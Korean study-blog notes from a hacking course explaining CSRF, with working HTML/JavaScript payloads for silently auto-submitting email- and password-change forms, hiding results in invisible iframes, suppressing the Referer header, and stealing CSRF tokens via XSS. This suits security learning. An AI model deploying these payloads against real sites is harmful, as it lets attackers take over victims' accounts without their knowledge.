Hacking_study/해킹과제

CSRF 수업 정리(8주차)

jin_li 2023. 5. 18. 23:15
CSRF(Cross Site Request Forgery)

클라이언트 측 공격으로, 피해자가 자신의 의도와는 다르게, 자신도 모르게 서버로 임의의 요청을 하게 만드는 공격.
피해자의 세션을 활용하는 공격이므로, 피해자가 로그인 된 상태여야 공격가능. 주로 게시판이나 메일함에서 공격한다.

 

CSRF는 요청을 위조하는 공격이므로 모든 요청에서 발생할 수 있지만, 중요한 요청(비밀번호나 이메일 변경, 관리자 계정 등록 등...)에 대해 주로 이루어진다. 의외로(?) 꽤 많이 일어난다고...

 

 

 

 

CSRF 공격하는 방법

 

1. POST를 GET으로 메소드 바꿔보기. GET 메소드에 대해 요청이 잘 가면 바로 공격 가능!

 

 

 

2. GET으로 바꿔 보냈을 때 method not allowed 뜰 때. 즉 POST 메소드로만 요청 갈 때.

 

이런 경우는 XSS 취약점을 이용해서 CSRF 공격 해야한다. POST 메소드이므로, <form method="post">데이터</form>와 같이 form 태그 만들어서 그 안에 데이터 날려서 보내줘야 한다. 

 

 

메일주소 바꾸는 요청의 기본적인 형태는 다음과 같다.

<form method="POST" action="이메일주소변경창">

<input type="hidden" name="email" value="변경메일@test.com">

<input type="submit" value="click me">

</form>

 

 

클릭버튼 없이 바꾸게 만드는 요청 폼은 다음과 같이 만들 수 있다.

<form method="POST" action="이메일주소변경창">

<input type="hidden" name="email" value="변경메일@test.com">

</form>

<script> document.forms[0].submit();

</script>

위의 스크립트 태그의 자바스크립트 코드는 자동으로 폼을 서버로 제출한다.

이건 xss 공격 이용해서 csrf 하는 방식인데.. 이렇게 공격했을 때 비밀번호 변경완료 알림이 뜨면 피해자는 바로 공격당했음을 알 수 있다.

 

 

그래서 폼을 전송한 결과를 iframe에 넣어 이 iframe도 안 보이게 css 설정할 수 있다.

<iframe width="0" height="0" border="0" name="이름" id="이름" style="display:none;"></iframe>

<form method="POST" action="이메일주소변경창">

<input type="hidden" name="email" value="변경메일@test.com">

</form>

<script> document.forms[0].submit();

</script>

 

 

 

3. referrer 헤더 검사

 

referrer : 이전 페이지의 URL. 요청이 어디에서 온 건지 확인하는 용도.

 

referer 검사 잘 하면 csrf 못한다...

잘 안 되는 경우는 다음과 같다.

 

if referer헤더가 있으면

-> 검사 시작

-> ((검사))

else referer헤더가 없으면

-> 그냥 요청 ㅇㅋ! 고!

 

위의 경우는 referer 헤더 없이 보내는 공격 하면 된다. 메타 태그를 이용하여,

<meta name="referrer" content="no-referrer"> 를 추가로 넣어주면 됨

 

 

 

4. csrf 토큰 사용

 

csrf 토큰은 csrf를 막기 위해서 고안된 것으로, 랜덤값 생성해서 세션에 저장해놓은 뒤 패스워드 변경 요청에 csrf 토큰 값 일치하는지 확인한다.

 

csrf 토큰을 쓰는 경우 csrf 공격을 하려면, xss를 이용해야한다. 스크립트를 삽입하여 csrf token 값을 받아온 뒤 그걸 넣어서 같이 보내면 된다. 아래의 코드는 csrf 토큰을 받아오는 코드 예시이다.

 

<iframe id="getCSRFToken" src="주소" onload="exploit()"></iframe>

<script>

function exploit() {

var token = document.getElementById('getCSRFToken').contentDocument.forms[0].csrf_token.value;

console.log(token);

}

</script>

 

위의 코드를 이용하여, 다음과 같이 패스워드 변경 CSRF 공격코드 예제를 만들 수 있다.

 

<iframe id="getCSRFToken" src="패스워드 변경 페이지 주소" onload="exploit()"></iframe>

 

<form id="csrf_form" method="POST" action="패스워드 변경 페이지 주소">

<input name="hh" value="1234">

<input name="csrf_token" value="">

</form>

 

<script>

function exploit() {

var token = document.getElementById('getCSRFToken').contentDocument.forms[0].csrf_token.value;

console.log(token);

document.getElementById('csrf_form').csrf_token.value=token;

document.getElementById('csrf_form').submit();

}

</script>